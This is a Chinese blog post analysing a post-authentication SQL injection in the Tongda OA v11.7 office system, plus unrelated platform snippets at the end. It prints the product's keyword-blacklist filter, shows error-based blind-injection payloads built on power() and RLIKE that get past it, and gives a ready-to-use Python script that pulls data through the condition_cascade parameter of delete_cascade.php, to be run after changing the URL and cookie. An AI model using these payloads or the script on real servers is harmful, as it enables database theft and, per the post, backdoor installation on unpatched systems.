通达OA v11.7后台SQL注入

漏洞描述

通达OA v11.7后台存在SQL注入,可通过此漏洞写入恶意后门文件攻击目标服务器。

漏洞影响

通达OA <= v11.7

漏洞分析

下载通达oa 11.7,https://cdndown.tongda2000.com/oa/2019/TDOA11.7.exe

这里我觉得麻烦就用11.5分析了,大致都差不多的,最多多了几个过滤。

使用解密工具 SeayDzend(zend解密工具) 对通达OA的加密代码进行解密
在这里插入图片描述

漏洞位置:/general/hr/manage/query/delete_cascade.php
在这里插入图片描述如果$condition_cascade不为空就把里面的\'替换为',然后执行。

原因:V11.7版本中,注册变量时考虑了安全问题,将用户输入的字符用addslashes函数进行保护。

具体代码在inc/common.inc.php中,接收了我们的输入$_GET,然后将值$s_value进行了addslashes处理

在这里插入图片描述

addslashes()作用
在这里插入图片描述

我们再来看看是怎么执行SQL语句的,在delete_cascade.php中,使用的是exequery()函数。而inc/conn.php文件中是对SQL语句的各种处理函数。
在这里插入图片描述我们跟踪exequery()函数,可以在inc/conn.php中找到定义,可以发现这里又调用了db_query()函数。

在这里插入图片描述
我们继续跟踪db_query()函数,可以发现这里就是执行SQL语句的函数,但是执行之前使用sql_injection()函数进行了过滤。
在这里插入图片描述sql_injection()函数如下所示。

function sql_injection($db_string)
{
	$clean = "";
	$error = "";
	$old_pos = 0;
	$pos = -1;
	$db_string = str_replace("&#160;", " ", $db_string);

	while (true) {
		$pos = strpos($db_string, "'", $pos + 1);

		if ($pos === false) {
			break;
		}

		$clean .= substr($db_string, $old_pos, $pos - $old_pos);

		while (true) {
			$pos1 = strpos($db_string, "'", $pos + 1);
			$pos2 = strpos($db_string, "\\", $pos + 1);

			if ($pos1 === false) {
				break;
			}
			else {
				if (($pos2 == false) || ($pos1 < $pos2)) {
					$pos = $pos1;
					break;
				}
			}

			$pos = $pos2 + 1;
		}

		$clean .= "\$s\$";
		$old_pos = $pos + 1;
	}

	$clean .= substr($db_string, $old_pos);
	$clean = trim(strtolower(preg_replace(array("~\s+~s"), array(" "), $clean)));
	$fail = false;
	if ((strpos($clean, "union") !== false) && (preg_match("~(^|[^a-z])union($|[^[a-z])~s", $clean) != 0)) {
		$fail = true;
		$error = _("联合查询");
	}
	else {
		if ((2 < strpos($clean, "/*")) || (strpos($clean, "--") !== false) || (strpos($clean, "#") !== false)) {
			$fail = true;
			$error = _("注释代码");
		}
		else {
			if ((strpos($clean, "sleep") !== false) && (preg_match("~(^|[^a-z])sleep($|[^[a-z])~s", $clean) != 0)) {
				$fail = true;
				$error = "sleep";
			}
			else {
				if ((strpos($clean, "benchmark") !== false) && (preg_match("~(^|[^a-z])benchmark($|[^[a-z])~s", $clean) != 0)) {
					$fail = true;
					$error = "benchmark";
				}
				else {
					if ((strpos($clean, "load_file") !== false) && (preg_match("~(^|[^a-z])load_file($|[^[a-z])~s", $clean) != 0)) {
						$fail = true;
						$error = _("Load文件");
					}
					else {
						if ((strpos($clean, "cast") !== false) && (preg_match("~(^|[^a-z])mid($|[^[a-z])~s", $clean) != 0)) {
							$fail = true;
							$error = "cast";
						}
						else {
							if ((strpos($clean, "ord") !== false) && (preg_match("~(^|[^a-z])ord($|[^[a-z])~s", $clean) != 0)) {
								$fail = true;
								$error = "ord";
							}
							else {
								if ((strpos($clean, "ascii") !== false) && (preg_match("~(^|[^a-z])ascii($|[^[a-z])~s", $clean) != 0)) {
									$fail = true;
									$error = "ascii";
								}
								else {
									if ((strpos($clean, "extractvalue") !== false) && (preg_match("~(^|[^a-z])extractvalue($|[^[a-z])~s", $clean) != 0)) {
										$fail = true;
										$error = "extractvalue";
									}
									else {
										if ((strpos($clean, "updatexml") !== false) && (preg_match("~(^|[^a-z])updatexml($|[^[a-z])~s", $clean) != 0)) {
											$fail = true;
											$error = "updatexml";
										}
										else {
											if ((strpos($clean, "into outfile") !== false) && (preg_match("~(^|[^a-z])into\s+outfile($|[^[a-z])~s", $clean) != 0)) {
												$fail = true;
												$error = _("生成文件");
											}
											else {
												if ((strpos($clean, "exp") !== false) && (preg_match("~(^|[^a-z])exp($|[^[a-z])~s", $clean) != 0)) {
													$fail = true;
													$error = _("exp");
												}
												else {
													if ((stripos($db_string, "update") !== false) && (stripos($db_string, "user") !== false) && (stripos($db_string, "set") !== false) && (stripos($db_string, "file_priv") !== false)) {
														$fail = true;
														$error = "set file_priv";
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}
		}
	}

	if ($fail) {
		echo _("不安全的SQL语句:") . $error . "<br />";
		echo td_htmlspecialchars($db_string);
		exit();
	}
	else {
		return $db_string;
	}
}

过滤了union /* sleep benchmark load_file cast ord ascii extractvaleue updatexml into outfile exp update user set file_priv set file_priv 这些字符,盲注的核心是:substrif等函数,均未被过滤,那么只要构造MySQL报错即可配合if函数进行盲注了。

这里可以使用if来进行报错注入,这里还知道了power(9999,99)也能报错,当字符相等时,不报错,错误时报错。

select if(1=1,1,power(9999,99))
select if(1=2,1,power(9999,99))

也可以用rlike报错注入

select 1 RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END))
select 1 RLIKE (SELECT (CASE WHEN (1=2) THEN 1 ELSE 0x28 END))

如下所示,1=1返回成功,1=2则报错,说明存在盲注
在这里插入图片描述
在这里插入图片描述
老规矩,直接用脚本来进行注入

import requests
import urllib
url = 'http://192.168.8.21:8080/general/hr/manage/query/delete_cascade.php'
cookies = "USER_NAME_COOKIE=admin; SID_1=742da844; SID_65=8232122; OA_USER_ID=admin; PHPSESSID=osa9rkacs839k0ki2s48i2d921"
sql = '(select database())'
flag = ''
for i in range(1, 50):
    high = 132
    low = 32
    mid = (high+low)//2
    while high > low:
        char = flag+chr(mid)
        headers = {
            "cookie": urllib.parse.unquote(cookies)
        }
        target = url + "?condition_cascade=select 3 RLIKE (SELECT (CASE WHEN (substr({0},{1},1)>={2}) THEN 1 ELSE " \
                       "0x28 END))".format(sql, i, hex(mid))
        s = requests.get(url=target, headers=headers)
        if '信息删除成功' in s.text:
            low = mid+1
        else:
            high = mid
        mid = (high+low)//2
        if mid == 33 or mid ==132:
            exit(0)
    flag += chr(mid-1)
    print("[+] "+flag)

修改一下脚本中的url、cookie、和要执行的SQL语句即可
在这里插入图片描述

  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
通达OA2010版本,完整general目录下php文件无加密,示例: <?php /*********************/ /* */ /* Version : 5.1.0 */ /* Author : RM */ /* Comment : 071223 */ /* */ /*********************/ include_once( "inc/auth.php" ); if ( $LOGIN_THEME != "10" ) { $query = "SELECT * from INTERFACE"; $cursor = exequery( $connection, $query ); if ( $ROW = mysql_fetch_array( $cursor ) ) { $IE_TITLE = $ROW['IE_TITLE']; } echo "<html>\r\n<head>\r\n<title>"; echo $IE_TITLE; echo "</title>\r\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=gb2312\">\r\n[removed][removed]\r\n[removed]\r\nself.moveTo(0,0);\r\nself.resizeTo(screen.availWidth,screen.availHeight);\r\nself.focus();\r\n\r\nrelogin=0;\r\nfunction exit()\r\n{\r\n if(document.body.clientWidth-event.clientX<50||event.altKey||event.ctrlKey)\r\n {\r\n"; if ( $ISPIRIT == 1 ) { echo "return;"; } echo " var req = new_req();\r\n\treq.open(\"GET\", \"relogin.php\", true);\r\n\treq.send('');\r\n }\r\n}\r\n\r\n[removed]\r\n</head>\r\n"; include_once( "inc/antivirus.txt" ); echo "<frameset rows=\"50,*,20\" cols=\"*\" frameborder=\"no\" border=\"0\" framespacing=\"0\" id=\"frame1\" <frame name=\"banner\" id=\"banner\" scrolling=\"no\" noresize=\"noresize\" src=\"topbar.php\" frameborder=\"0\">\r\n <frameset rows=\"*\" cols=\"200,*\" frameborder=\"no\" border=\"0\" framespacing=\"0\" id=\"frame2\">\r\n <frame name=\"leftmenu\" id=\"leftmenu\" scrolling=\"no\" noresize=\"noresize\" src=\"ipanel\" frameborder=\"0\">\r\n <frame name=\"table_index\" id=\"table_index\" scrolling=\"no\" src=\"table.php\" frameborder=\"0\">\r\n </frameset>\r\n <frame name=\"status_bar\" id=\"status_bar\" scrolling=\"no\" noresize=\"noresize\" src=\"status_bar\" frameborder=\"0\">\r\n</frameset>\r\n</html>\r\n"; exit( ); } include_once( "inc/utility_all.php" ); include_once( "inc/td_core.php" ); include_once( "inc/chinese_date.php" ); include_once( "inc/sys_function_all.php" ); ob_end_clean( ); 本资源(仅供技术学习,版权归原公司所有)
致远OA是一个商业级的办公自动化系统,为了保障系统的安全性,开发者在设计时应该会尽可能地避免常见的安全漏洞,如SQL注入SQL注入是一种常见的Web安全漏洞,攻击者通过注入恶意的SQL代码,从而绕过应用程序的输入验证,获取或篡改数据库中的数据。然而,对于致远OA这样的商业级系统,一般来说,开发团队应该会采取一系列的措施来防止SQL注入。 以下是一些可能的措施: 1. 输入验证和过滤:致远OA应该对用户输入进行严格的验证和过滤,并防止任何潜在的恶意SQL代码通过。这可以通过使用Web应用程序防火墙(WAF)、编写安全的输入验证规则、限制特殊字符的输入等方式实现。 2. 参数化查询:致远OA应该使用参数化查询或预编译语句,而不是拼接用户输入来执行SQL查询。参数化查询可以有效防止SQL注入,因为参数化查询会将用户的输入作为参数传递给数据库,而不是直接将其拼接为SQL语句。 3. 存储过程和视图:致远OA可以使用存储过程或视图来处理数据库操作,从而减少执行动态SQL语句的机会,并提高安全性。 4. 安全漏洞扫描和修补:致远OA的开发团队应该进行定期的安全漏洞扫描,及时修补已经发现的漏洞,并持续跟踪和更新最新的安全补丁。 总之,致远OA作为一个商业级的办公自动化系统,应该采取多种安全措施来防止SQL注入和其他安全漏洞的影响。用户也应该及时更新系统和软件的最新版本,以提高系统的安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值